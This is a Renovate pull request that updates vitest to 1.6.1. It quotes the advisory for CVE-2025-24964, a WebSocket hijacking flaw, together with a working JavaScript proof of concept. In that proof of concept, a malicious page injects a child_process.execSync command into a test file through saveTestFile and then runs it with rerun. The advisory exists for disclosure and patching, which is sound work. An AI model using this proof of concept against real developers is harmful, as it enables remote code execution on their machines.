chore(deps): update dependency vitest to v1.6.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
vitest (source)	1.6.0 → 1.6.1

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Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api
• https://github.com/advisories/GHSA-9crc-q9x8-hgqq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

• Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964

   🐞 Bug Fixes

• backport #​7317 to v1 - by @​hi-ogawa in #​7319

    View changes on GitHub

---

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[sourcery-ai]

Reviewer's Guide by Sourcery

This pull request updates the vitest dependency from version 1.6.0 to 1.6.1 to address a security vulnerability that could allow arbitrary remote code execution through Cross-site WebSocket hijacking attacks. The update includes changes to the WebSocket server to check the Origin header and implement an authorization mechanism.

Sequence diagram showing the security vulnerability in Vitest WebSocket API

sequenceDiagram
    participant M as Malicious Website
    participant B as Browser
    participant V as Vitest API Server
    participant F as Test Files

    Note over V: Before patch: No Origin check
    M->>B: Load malicious script
    B->>V: WebSocket connection
    V-->>B: Connection accepted (no auth)
    B->>V: saveTestFile API call
    V->>F: Write malicious code
    B->>V: rerun API call
    V->>F: Execute test file
    Note over F: Arbitrary code execution

    Note over V: After patch 1.6.1:
    Note over V: Added Origin header check
    Note over V: Added authorization

Loading

File-Level Changes

Change	Details	Files
Updated vitest dependency to address a security vulnerability.	Updated vitest from version 1.6.0 to 1.6.1 to fix a security vulnerability related to Cross-site WebSocket hijacking (CSWSH) attacks. The update ensures that the WebSocket server checks the Origin header and includes an authorization mechanism to prevent arbitrary remote code execution.	pnpm-lock.yaml

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